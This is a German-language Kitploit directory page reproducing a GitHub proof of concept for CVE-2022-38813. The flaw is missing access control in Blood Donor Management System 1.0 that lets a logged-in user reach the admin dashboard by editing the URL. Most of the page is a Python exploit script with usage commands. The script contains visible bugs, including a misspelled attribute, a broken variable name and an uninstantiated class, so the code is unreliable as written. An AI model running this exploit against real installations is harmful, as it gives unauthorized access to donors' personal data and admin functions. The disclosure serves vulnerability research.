Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2022-38813 — Authentifizierte Schwachstelle durch vertikale Privilegieneskalation im Blutspendeverwaltungssystem | Kitploit
Tools/GitHubGitHub/rashidkhanpathan/cve-2022-38813
Privilege EscalationSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsAuthentifizierung
GitHubrashidkhanpathan/cve-2022-38813

CVE-2022-38813

Authentifizierte Schwachstelle durch vertikale Privilegieneskalation im Blutspendeverwaltungssystem

Repository anzeigen
2vor 3 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2022-38813

Vertikale Privilegienerweiterung über Benutzerparameter im Blood Donor Management System mit Codeigniter v 1.0

CVE-2022-38813

Technische Beschreibung:

Blood Donor Management System 1.0 schränkt den Zugriff auf admin/dashboard.php nicht ordnungsgemäß ein, wodurch Angreifer auf alle Benutzerdaten zugreifen, Benutzer löschen, Blutgruppen hinzufügen und verwalten sowie Berichte einreichen können.

Betroffene Komponenten – Quellcode

Im folgenden Quellcode sehen wir, dass user/dashboard einen Benutzerparameter nicht ordnungsgemäß einschränkt, sodass ein Angreifer diesen Parameter in den Admin-Parameter ändern und Zugriff auf das Admin-Konto erlangen kann.

Verwundbare Seite – Dashboard.php im Benutzer- & Dashboard.php im Admin-Bereich

root@kitploit:~
  // Dashboard.php in User
class Dashboard extends CI_Controller
{
	//Validating login
	function __construct()
	{
		parent::__construct();
		if (!$this->session->userdata('uid'))
			redirect('user/login');
	}


	public function index()
	{
		$this->load->view('user/dashboard');
	}
}

Ändern Sie den Benutzerparameter in der URL zu admin, z. B.: localhost/blood/user/dashboard zu localhost/blood/admin/dashboard
root@kitploit:~
  // Dashboard.php in Admin
<?php
defined('BASEPATH') or exit('No direct script access allowed');

class Dashboard extends CI_Controller
{

	public function index()
	{
		$this->load->model('admin/Dashboard_Model', 'adminn');
		$totalusercount = $this->adminn->totalusercount();
		$totalbloodgroupcount = $this->adminn->totalbloodgroupcount();
		$this->load->view('admin/dashboard', ['totalusercount' => $totalusercount, 'totalbloodgroupcount' => $totalbloodgroupcount]);
	}
}


Exploit

root@kitploit:~
import argparse
import requests
from termcolor import cprint
import sys
from bs4 import *
color = "green"
cprint("[+] CVE-2022-38813 Authenticated Privilege Escalation in Blood Donor Management System v1.0", color)
cprint("[+] Author: RashidKhan Pathan aka iHexCoder", color)
cprint("[!] Usage: run exploit.py username password payload", color)
cprint("[!] Example: python3 exploit.py admin [email protected] Test@123", color)


class PrivilegeEscalation:
    color = "green"

    def __init__(self, username, password, payload):
        self.username = username
        self.password = password
        self.paylaod = payload

    def authentication(self):
        color = "green"
        cprint("[+] Authenticating User", color)
        cprint("[+] Username: " + args.username, color)
        cprint("[+] Password: " + args.password, color)
        cprint("[+] Payload: " + args.payload, color)

        login_url = "http://localhost/blood/user/login"

        data = {
            "email": args.username,
            "password": args.password
        }
        login_response = requests.post(login_url, data=data)

        cprint("[+] Exploiting...Started", color)
        if "/user/login" in login_response.url:
            cprint("[+] Credentials is not Valid", "red")
            sys.exit(1)
        else:
            cprint("[+] Authenticated Successfully as a Normal User ", color)
            cprint("[+] Normal User URL Endpoint " + login_response.url, color)

        url = args.payload
        if args.payload != "admin":
            cprint("[+] Please Add Valid Payload", "red")
            sys.exit(1)

        response = requests.get(f"http://localhost/blood/{url}/dashboard")
        cprint("[+] Exploit Compleated", color)
        cprint("[+] Accessed Admin Panel Successfully " + response.url, color)
        cprint("[+] Copy the URL and Replace with user/dashboard URL with " +  esponse.url, color)
        cprint("[+] After Replacing it You Should see the Bypassed Admin Panel", color)


if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("username", help="Please Add Username", type=str)
    parser.add_argument("password", help="Please Add Password", type=str)
    parser.add_argument("payload", help="Please Add Password", type=str)
    args = parser.parse_args()

    privilegeEscalation = PrivilegeEscalation
    privilegeEscalation.authentication((args.username, args.password, args.payload))

Verwendung von CVE-2022-38813.py -

root@kitploit:~
# Changes The Vulnerable user paramter from url to escalate privileges normal user to admin -
python3 CVE-2022-38813.py <username> <password> <payload>

Beispiel -

root@kitploit:~
python CVE-2022-38813.py [email protected] Test@123 admin

Exploit Proof of Concept (PoC) -

Screenshot 2022-10-23 194928

Referenzen -

Software-Link: https://phpgurukul.com/blood-donor-management-system-using-codeigniter

Entdeckt und entwickelt von -

RashidKhan Pathan (iHexCoder), 9. September 2022. Twitter: @itRashid

Tool herunterladen